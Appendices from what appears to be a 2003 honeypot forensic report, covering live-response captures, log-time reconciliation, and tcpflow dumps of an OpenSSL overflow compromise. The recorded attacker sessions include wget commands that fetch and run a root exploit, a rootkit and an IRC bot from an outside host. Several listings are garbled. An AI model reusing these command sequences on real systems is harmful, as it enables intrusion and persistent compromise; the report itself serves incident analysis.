root 4 0.0 0.0 0 0 ? SW Jun23 0:00 [ksftirdq_cpu0]
root 5 0.0 0.0 0 0 ? SW Jun23 0:00 [kswpd]
root 6 0.0 0.0 0 0 ? SW Jun23 0:00 [bdflush]
root 7 0.0 0.0 0 0 ? SW Jun23 0:00 [kudrvel]
root 8 0.0 0.0 0 0 ? SW Jun23 0:00 [mdrcreq]
root 9 0.0 0.0 0 0 ? SW Jun23 0:00 [kkdso]
root 91 0.0 0.0 0 0 ? SW Jun23 0:00 [khbsd]
root 10 0.0 0.0 0 0 ? SW Jun23 0:00 [kjournald]
root 10 0.0 0.0 0 0 ? SW Jun23 0:00 [kjournald]
root 11 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 12 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 13 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 14 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 15 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 16 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 17 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 18 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 19 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
root 20 0.0 0.0 0 0 ? SW Jun23 0:00 [kmem]
rpcuser 657 0.0 0.4 1556 600 ? S Jun23 0:00 rpc.statd
root 770 0.0 0.3 1360 412 ? S Jun23 0:00 /usr/sbin/apmd -p 10 -W 5 -W -P
/etc/sysconfig/apm -scripts/apm -script
ntpd 790 0.0 1.4 1884 1876 ? SL Jun23 0:01 ntpd -U ntp -q
root 842 0.0 0.4 2620 572 ? S Jun23 0:01 /usr/sbin/sshd
root 875 0.0 0.4 2196 560 ? S Jun23 0:00 xinetd -stayalive -reuse -pidfile
/var/run/xinetd.pid
root 916 0.0 0.7 4600 892 ? S Jun23 0:00 sendmail: accepting connections
lsmod.txt

Module Size Used by Not tainted
nls_iso8859-1 3488 1 (autoclean)
iptable_filter 2752 0 (autoclean) (unused)
ip_tables
soundcore 6692 0 (autoclean)
autos 12164 0 (autoclean) (unused)
eepro100 20336 1
ide-cd 30272 1 (autoclean)
cdrom 32192 0 (autoclean) [ide-cd]
usbc 4484 0 (unused)
usbc 73152 1 [usbc]
exit 67136 5
jbd 49400 5 [exit]

**netstat-routes.txt**

Kernel IP routing table

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS Window</th>
<th>Irtt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40 0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>127.0.0.0</td>
<td>0.0.0.0</td>
<td>255.0.0.0</td>
<td>U</td>
<td>40 0</td>
<td>0</td>
<td>lo</td>
</tr>
<tr>
<td>0.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40 0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

**ifconfig.txt**

eth0
- Link encap: Ethernet HWaddr 00:50:8B:0D:50:56
- inet addr: 192.168.2.15 Bcast: 192.168.2.255 Mask: 255.255.255.0
- UP BROADCAST RUNNING PROMISC MULTICAST MTU: 1500 Metric: 1
- RX packets: 56788 errors: 0 dropped: 0 overruns: 0 frame: 0
- TX packets: 94732 errors: 0 dropped: 0 overruns: 0 carrier: 0
- collisions: 3023 txqueuelen: 100
- RX bytes: 11574349 (11.0 Mb) TX bytes: 15015679 (14.3 Mb)
- Interrupt: 11 Base address: 0x1000

eth1
- Link encap: Ethernet HWaddr 00:90:27:89:8E:64
- MULTICAST MTU: 1500 Metric: 1
- RX packets: 0 errors: 0 dropped: 0 overruns: 0 frame: 0
- TX packets: 0 errors: 0 dropped: 0 overruns: 0 carrier: 0
- collisions: 0 txqueuelen: 100
- RX bytes: 0 (0.0 b) TX bytes: 0 (0.0 b)
- Interrupt: 11 Base address: 0x3000

lo
- Link encap: Local Loopback
- inet addr: 127.0.0.1 Mask: 255.0.0.0
- UP LOOPBACK RUNNING MTU: 16436 Metric: 1
- RX packets: 353 errors: 0 dropped: 0 overruns: 0 frame: 0
- TX packets: 353 errors: 0 dropped: 0 overruns: 0 carrier: 0
- collisions: 0 txqueuelen: 0
- RX bytes: 44009 (42.9 Kb) TX bytes: 44009 (42.9 Kb)

**Proc-filesystem.txt**

```
total 1
dr-xr-xr-x 130 root root 0 Jun 23 05:58 .
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1
dr-xr-xr-x 3 xfs xfs 0 Jun 30 17:29 1005
dr-xr-xr-x 3 daemon daemon 0 Jun 30 17:29 1041
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1050
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1051
```
dr-xr-xr-x 3 root root 0 Jun 30 17:29 28979
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 28981
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 28983
dr-xr-xr-x 3 root userid1 0 Jun 30 17:29 29021
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29024
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29110
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29120
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29122
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29124
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29125
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29129
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29132
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29133
 dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29134
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29136
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29137
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29165
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29222
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29223
dr-xr-xr-x 3 root root 0 Jun 30 17:29 3
dr-xr-xr-x 3 root root 0 Jun 30 17:29 4
dr-xr-xr-x 3 root root 0 Jun 30 17:29 5
dr-xr-xr-x 3 root root 0 Jun 30 17:29 6
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 6133
dr-xr-xr-x 3 userid1 root 0 Jun 30 17:29 6135
dr-xr-xr-x 3 rcpu user rcpu user 0 Jun 30 17:29 657
dr-xr-xr-x 3 root root 0 Jun 30 17:29 7
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 7168
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 7170
dr-xr-xr-x 3 root userid1 0 Jun 30 17:29 7203
dr-xr-xr-x 3 root root 0 Jun 30 17:29 7206
dr-xr-xr-x 3 root root 0 Jun 30 17:29 770
dr-xr-xr-x 3 ntp ntp 0 Jun 30 17:29 790
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8125
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8154
dr-xr-xr-x 3 root root 0 Jun 30 17:29 842
dr-xr-xr-x 3 root root 0 Jun 30 17:29 875
dr-xr-xr-x 3 root root 0 Jun 30 17:29 91
dr-xr-xr-x 3 root root 0 Jun 30 17:29 916
dr-xr-xr-x 3 root root 0 Jun 30 17:29 935
dr-xr-xr-x 3 root root 0 Jun 30 17:29 953
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /apm
-drwxr-xr-x 4 root root 0 Jun 23 11:58 /bus
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /cmdline
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /cpuinfo
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /devices
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /dma
-drwxr-xr-x 2 root root 0 Jun 30 17:29 /driver
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /exedomains
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /fb
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /filesystems
-drwxr-xr-x 2 root root 0 Jun 30 17:29 /fs
-drwxr-xr-x 4 root root 0 Jun 30 17:29 /ide
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /interrupts
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /iomem
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /lports
-drwxr-xr-x 18 root root 0 Jun 30 17:29 /irq
-drwxr-xr-x 1 root root 134221824 Jun 30 17:29 /kcore
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /kmseg
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /ksems
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /loadavg
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /locks
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /meminfo
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /misc
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /modules
-drwxrwxrwxw 1 root root 11 Jun 30 17:29 /mounts -> self/mounts
-drwxr-xr-x 1 root root 66 Jun 23 12:00 /mtrr
-drwxr-xr-x 3 root root 0 Jun 30 17:29 /net
-drwxr-xr-x 1 root root 0 Jun 30 17:29 /partitions
Mon Jun 30 17:31:02 CST 2003

Live-response-june30.md5

df2abab55743c9e230e36930ea38bab *ifconfig.txt
5fa0917f700a220d79c126cad2de36f4 *lsmod.txt
232db032469842e965b877a0deec06a *lsot.txt
6c1fc3e61d32283a0685444230cd9efb *netstat-sockets.txt
662a13363bc2f0600e62802ab0c0f09a *netstat-sockets.txt
345ad946355ca8c1c82323d6cf576c8f3 *proc-filelist.txt
b3a82cc22339e0b46157ea700d6564b1 *ps.txt
2117efa19b00e242c2ad902cfbdaea7 *starttime.txt
4987992ca38fbc2130a0f4ba5bfe84 *stoptime.txt
5e344d4b030b44f1bca4b415b649293 *w.txt
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM, Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. `dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync`
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F — “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server;

```
fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)"
rule=3 proto=251 src=192.168.2.15 srcport=1274 dst=XXX.YYY.42.58
dstport=251 interface=sis2 flags=0x2
```

Tcpdump from snort host;

```
15:42:10.704332 192.168.2.15.1274 > XXX.XYY.42.58.251: S
90458511:904585110 win 5840 <mss 1460,sackOK,timestamp 53240532
0,nop,wscale 0> (DF)
```

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:

- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response;

```
Mon Jun 30 17:18:51 CST 2003
```

Sebek log event for recording starttime for live response;

```
23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mcnc 192.168.2.120 1111
```

The command ‘snort –r tcpdump.log.1056855401 > tcpdump.out’ was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

```
06/30-17:10:23.402854 192.168.2.15:4135 --> 192.168.1.120:1111
tcp TTL:64 TOS:0x0 ID:54820 IpLen:20 DgmLen:81 DF
***AD*** Seq: 0x9A8F174 Ack: 0xC1A03AD7 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 62409666 28142280
4D 6F 6E 75 30 3A 20 3A 37 30 3A 37 3A 31 38 Mon Jun 30 17:18
```

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

```
#snort -d -D -c /usr/local/etc/snort.conf -i fxp1 -l DIR/$DATE
```
The snort options are defined below:

```
"-d" logs the packet details
"-D" runs snort in daemon mode
"-c" tells snort what configuration file to use
"-i" identifies the interface to monitor
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision’s BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”¹⁷ signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

```
*Below IP XXX.XXX.108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443.*
14:47:43.776398 XXX.XXX.108.64.55526 > 192.168.2.15.80: . ack 677 win 6760 <nop,nop,timestamp 5846797 52965022> (DF)
14:47:43.776418 XXX.XXX.108.64.55526 > 192.168.2.15.80: F 19:19(0) ack 678 win 6760 <nop,nop,timestamp 52965051 5846797> (DF)

IP XXX.XXX.108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.
14:56:15.827024 XXX.XXX.108.64.34919 > 192.168.2.15.80: S 2334418901:2334418901(0) win 5840 <nop,nop,timestamp 5967695 5967695> (DF)
14:56:15.827040 XXX.XXX.108.64.34919 > 192.168.2.15.80: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5967695 5967695> (DF)
```

¹⁷ "OpenSSL servers contain a buffer overflow during the SSL2 handshake process", (www.kb.cert.org/vuls/id/102795), www.securityfocus.com/bin/5363
The tcpdump binary log was parsed through tcpflow with the syntax

```
tcpflow -r tcpdump.log.1056866401 'port 34919'
```

The output was two files “ XXX.XXX.108.64.34919-192.168.002.015.00080” and 192.168.002.015.00080-XXX.XXX.108.64.34919”. The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm-like activity. A file named "r" is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;

bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
> "r".
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
100% 76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
./r

bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...

su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```

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wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
  => 's.tar.gz'
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
15:11:18 (195.87 KB/s) - 's.tar.gz' saved [352596/352596]
tar -zxvf s.tar.gz; rm -rf s.tar.gz;
.s/
   .s/dup
   .s/find
   .s/killall
   .s/linssniffer
   .s/ls
   .s/netstat
   .s/ps
   .s/pstree
   .s/vdir
   .s/top
   .s/.laddr
   .s/.lfile
   .s/.llogz
   .s/.lop
   .s/clean
   .s/nfsd/
   .s/nfsd/sshd_config
   .s/nfsd/xhh_h
   .s/nfsd/xhh_r
   .s/nfsd/nfsdi
   .s/nfsd/init.sshd
   .s/nfsd/ssh_host_key
   .s/nfsd/sshd-install
   .s/nfsd/sshd_config
   .s/install
   .s/sense
   .s/p.sshd
ls -al
total 39
   ..
   ...
   drwxr-xr-x  4 502 502 1024 Mar 24 21:41 .s
   ...
   ..

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the rootkit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font after the buffer overflow session starts at 15:18:27 and completes at 15:30:03.
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$

wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x /inetd/services/inetd/services;

get terminal settingsbash-2.05a$ --15:31:46-- http://XXX.XXX.XXX.com/eladoht/bot.tgz
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcsetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory

wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x /inetd/services/inetd/services/inetd/services;

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ --15:32:45-- http://XXX.XXX.com/eladoht/bot.tgz
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]

15:32:50 (179.21 KB/s) - 'bot.tgz' saved [764880/764880]

.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODD
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
.X11-pipe/randfiles/randkicks.e
.X11-pipe/randfiles/randnicks.e
.X11-pipe/randfiles/randpickup.e
.X11-pipe/randfiles/randsay.e
.X11-pipe/randfiles/randsignoff.e
.X11-pipe/randfiles/randversions.e
.X11-pipe/src/
.X11-pipe/src/Makefile.in
.X11-pipe/src/cfgfile.c
.X11-pipe/src/channel.c
.X11-pipe/src/com-ons.c
.X11-pipe/src/combot.c
.X11-pipe/src/commands.c
.X11-pipe/src/config.h.in
.X11-pipe/src/dcc.c
.X11-pipe/src/debug.c
.X11-pipe/src/defines.h
.X11-pipe/src/function.c
.X11-pipe/src/global.h
### Directory Structure

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.X11-pipe/src/h.h
.X11-pipe/src/link.c
.X11-pipe/src/main.c
.X11-pipe/src/gencmd.c
.X11-pipe/src/parse.c
.X11-pipe/src/socket.c
.X11-pipe/src/structs.h
.X11-pipe/src/usage.h
.X11-pipe/src/userlist.c
.X11-pipe/src/vars.c
.X11-pipe/src/xmech.c
.X11-pipe/src/Makefile
.X11-pipe/src/config.h
.X11-pipe/src/gencmd
.X11-pipe/src/mcmd.h
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.X11-pipe/src/vars.o
.X11-pipe/src/xmech.o
.X11-pipe/mech.set
.X11-pipe/mech.levels
.X11-pipe/LinkEvents
.X11-pipe/lpd.usr
.X11-pipe/M4c4r0n.seen
.X11-pipe/lpd.session
.X11-pipe/checklpd
.X11-pipe/inetd/
.X11-pipe/inetd/services
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### Command Output

```plaintext
bash: [19893: 1] tcsetattr: Invalid argument
```

```plaintext
ps ax
readline: warning: rl_prep_terminal: cannot get terminal settings
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### Process List

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1041 ? S 0:00 /usr/sbin/atd
1050 tty1 S 0:00 /sbin/mingetty tty1
1051 tty2 S 0:00 /sbin/mingetty tty2
1052 tty3 S 0:00 /sbin/mingetty tty3
1053 tty4 S 0:00 /sbin/mingetty tty4
1054 tty5 S 0:00 /sbin/mingetty tty5
1055 tty6 S 0:00 /sbin/mingetty tty6
1056 ? S 0:00 /usr/bin/kdm -nodaemon
1067 ? S 0:00 -i0
1091 ? S 0:00 /bin/sh /usr/bin/startkde
1175 ? S 0:00 kdeinit: Running...
1178 ? S 0:00 kdeinit: dcpserver --nosid
1181 ? S 0:00 kdeinit: klauncher
1183 ? S 5:52 kdeinit: kdedit
1192 ? S 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
1203 ? S 0:02 kdeinit: knotify
1208 ? S 0:00 kwrapper ksmservice
1210 ? S 0:00 kmsclient ksmservice --restore
1211 ? S 0:09 kdeinit: kwin --session 117f000001000105612629300000008
1217 ? S 0:18 kdeinit: kicke
1219 ? S 0:35 autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1222 ? S 0:51 kdeinit: klipper --icon klipper --miniicon klipper
1226 ? S 0:00 kdeinit: kwrite
1228 ? S 0:00 korg --miniicon korganizer
1230 ? S 0:00 kalarms --login
1232 ? S 5:04 kdeinit: konsole --icon konsole --miniicon konsole
1234 pts/1 S 0:00 /bin/bash
1266 pts/1 S 0:00 su -
1269 pts/1 S 0:00 -bash
6133 ? S 0:00 kdeinit: kcookiejar
6135 ? S 0:00 kdesud
7168 ? S 0:12 kdeinit: konsole --icon konsole --miniicon konsole
7170 pts/2 S 0:00 /bin/bash
7203 pts/2 S 0:00 su -
7206 pts/2 S 0:00 -bash
8125 ? S 0:01 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8154 ? S 0:00 /usr/sbin/nsslapd -s -l /dev/null -P /var/run/nsslapd-a
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19376 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19485 ? S 0:00 bash --i
19504 ? S 0:00 /r
19505 ? Z 0:00 [r <defunct>]
19507 ? S 0:00 /bin/sh
19508 ? S 0:00 su
19509 ? S 0:00 bash
19635 ? S 0:00 minilogd
19678 ? T 0:00 /usr/bin/weit
19685 ? S 0:00 popauth
19686 ? Z 0:00 [weit <defunct>]
19694 ? T 0:00 cp -f killall /usr/bin/
19697 ? Z 0:00 [cp <defunct>]
19701 ? T 0:00 cp -f find /usr/bin
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.

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The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXX XXXXX Network S.A. in Bucharest, Romania.

| inetnum: XXX.XXX.96.0 - XXX.XXX.127.255 | netname: XXXXX |
| descr: XXXXX XXXXX Network S.A. | descr: XXXXX XXXXX Network |
| country: RO | admin-c: BT17-RIPE |
| tech-c: PDNN1-RIPE | status: ASSIGNED PA |
| notify: XXXXX@XXXXXX.ro | mnt-by: AS8503-MNT |
| changed: XXXXX@XXXXXX.ro 20030704 | source: RIPE |
| route: XXX.XXX.116.0/22 | descr: PCNET |
| origin: AS8503 | notify: XXXXX@XXXXXX.ro |
| mnt-by: AS8503-MNT | changed: XXXXX@XXXXXX.ro 20020912 |
| source: RIPE | role: XXXXX XXXXX Network NOC |
| address: XXXXXXX XXXXX, nr. 10 | address: Bucharest, ROMANIA |
| phone: +XX 1 555 86 61 | phone: +XX 1 555 35 23 |
| fax-no: +XX 1 555 49 99 | e-mail: XXXXX@XXXXXX.ro |
| trouble: +XX X 555 18 84 |
| admin-c: | BT17-RIPE |
| tech-c: | BT17-RIPE |
| tech-c: | AP158-RIPE |
| tech-c: | CM3059-RIPE |
| tech-c: | CN19-RIPE |
| tech-c: | IG20-RIPE |
| tech-c: | CR60-RIPE |
| nic-hdl: | PDNN1-RIPE |
| remarks: | ----------- |
| remarks: | abuse: abuse@XXXXX.ro |
| remarks: | ----------- |
| remarks: | for escaladation please directly call the technical manager |
| notify: | XXXXX@XXXXX.ro |
| mnt-by: | AS8503-MNT |
| changed: | XXXXX@XXXXX.ro 20011008 |
| source: | RIPE |

**person:** XXXXX XXXXX

**remarks:** Technical Manager

**address:** Bucharest, Romania

**phone:** +XX X 555 18 84

**phone:** +XX 1 555 86 61

**phone:** +XX 1 555 35 23

**fax-no:** +XX 1 555 49 99

**nic-hdl:** BT17-RIPE

**mnt-by:** BT17-RIPE-MNT

**notify:** XXXXX@pcnet.ro

**e-mail:** XXXXX@pcnet.ro

**changed:** XXXXX@pcnet.ro 20011009

**source:** RIPE
Tcpflow Output – Buffer Overflow and Root Kit placements.

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```bash
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... ......... 100% 76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
./r
bash-2.05a$ [*] Attached to 19506
[*] Signal caught
[*] Shellcode placed at 0x4000fd1d
[*] Now wait for suid shell...
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
total 38
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwx 2 root root 1024 Jun 23 12:18 .ICE-unix
rwxr-xr-x 1 root root 1024 Jun 23 12:00 .X0-lock
drwxrwxrwx 2 root root 1024 Jun 23 12:00 .X11-lock
drwxrwxrwx 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .qt
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
-rwxr-xr-x 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
-rwxr-xr-x 1 root root 4133 Jun 20 04:14 XF86Config.test
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drwxr-xr-x 2 root root 1024 Jun 23 11:55 ksocket-root
drwxr-xr-x 3 user1 user1 1024 Jun 23 12:18 mcop-user1
drwxr-xr-x 3 root root 1024 Jun 20 10:55 mcop-root
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwxr-xr-x 2 root root 1024 Jun 20 05:20 texconf.Nzul00wget
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```bash
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
 => `s.tar.gz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
```
tar -zxvf s.tar.gz; rm -rf s.tar.gz; ls;
.s/d
.s/du
.s/find
.s/killall
.s/linaniffr
